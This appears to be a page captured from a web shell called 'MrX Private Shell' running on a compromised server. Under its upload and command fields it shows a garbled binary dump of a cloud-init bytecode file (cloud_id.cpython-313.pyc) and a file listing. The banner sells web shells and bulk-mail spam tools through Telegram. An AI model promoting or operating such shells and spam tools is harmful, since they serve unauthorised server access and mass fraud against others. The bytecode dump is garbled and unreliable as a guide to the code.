__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h�
���SrSSKrSSKrSSKrSSKJr SSKJrJr SSK	J
r
 SSKJrJ
r
 SrSSjrS	rS
r\S:Xa\"5 gg)
zCCommandline utility to list the canonical cloud-id for an instance.�N)�read_cfg_paths)�
RunningStatus�get_status_details)�log_util)�METADATA_UNKNOWN�canonical_cloud_idzcloud-idc��[5RS5nU(d[R"[SS9nURSSSSSS	9 URS
SSSSS	9 URS
S[USU3S9 U$)aBuild or extend an arg parser for the cloud-id utility.

@param parser: Optional existing ArgumentParser instance representing the
    query subcommand which will be extended to support the args of
    this utility.

@returns: ArgumentParser with proper argument configuration.
�
instance_dataz/Report the canonical cloud-id for this instance)�prog�descriptionz-jz--json�
store_trueFz5Report all standardized cloud-id information as json.)�action�default�helpz-lz--longz=Report extended cloud-id information as tab-delimited string.z-iz--instance-dataz,Path to instance-data.json file. Default is )�typerr)r�get_runpath�argparse�ArgumentParser�NAME�add_argument�str)�parser�default_instance_jsons  �8/usr/lib/python3/dist-packages/cloudinit/cmd/cloud_id.py�
get_parserrs���+�,�8�8��I����(�(��I�
���������
D����������
L��������
�%�
�/�0�
2�
�	��M�c��[5nUR[R:XaC[R
R
SRURR55 gUR[R:XaC[R
R
SRURR55 g[UR5n[R"U5nSSS5 WR%S05n['UR%S	[(5UR%S
[(5UR%S[(55nUR(a;[R*R
S5 XvS
'[R,"USSSS9nO1UR.(aU<SUR%S
[(5<3nOUn[R
R
SU-5 g!,(df   GN
=f![a& [R "SUR-5s$["a2n[R "SUR<SU<35sSnA$SnAff=f)z�Handle calls to 'cloud-id' cli.

Print the canonical cloud-id on which the instance is running.

@return: 0 on success, 1 on error, 2 on disabled, 3 on cloud-init not run.
z{0}
��NzTFile not found '%s'. Provide a path to instance data json file using --instance-datazFile 'z' is not valid json. �v1�
cloud_name�region�platformz%DEPRECATED: Use: cloud-init query v1
�cloud_id�T)�,z: )�indent�	sort_keys�
separators�	z%s
r)r�running_statusr�DISABLED�sys�stdout�write�format�value�NOT_STARTED�openr
�json�load�IOErrorr�error�
ValueError�getrr�stderr�dumps�long)	�name�args�status_details�filer
�er r$�responses	         r�handle_argsrC=s���(�)�N��$�$�
�(>�(>�>��
�
�������(E�(E�(K�(K�L�M��	�	&�	&�-�*C�*C�	C��
�
�������(E�(E�(K�(K�L�M��
�
�$�$�$�
%�� �I�I�d�O�M�&�
�	�	�4��	$�B�!�
���|�-�.�
���x�)�*�
���z�+�,��H�
�y�y��
�
���A�B�!�:���:�:��q�D�[�
��
���'�����:J�)K�L�����J�J���V�h�&�'��9&�
%���
��~�~�
%�'+�'9�'9�
:�
�	
��
��~�~�15�1C�1C�Q�G�
�	
��
�sB�H�#G=�:H�=
H�H�H�-I9�>	I9�'I4�.I9�4I9c�|�[5n[R"[[UR555 g)z,Tool to query specific instance-data values.N)rr-�exitrCr�
parse_args)rs r�mainrGls%��
�\�F��H�H�[��v�0�0�2�
3�4r�__main__)N)�__doc__rr4r-�cloudinit.cmd.develr�cloudinit.cmd.statusrr�
cloudinit.logr�cloudinit.sourcesrrrrrCrG�__name__�rr�<module>rPsJ��
J���
�.�B�"�B���'�T,
�^5��z���F�r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 153 B 0644
clean.cpython-313.pyc File 7.02 KB 0644
cloud_id.cpython-313.pyc File 4.74 KB 0644
main.cpython-313.pyc File 49.61 KB 0644
query.cpython-313.pyc File 11.2 KB 0644
status.cpython-313.pyc File 20.12 KB 0644
Filemanager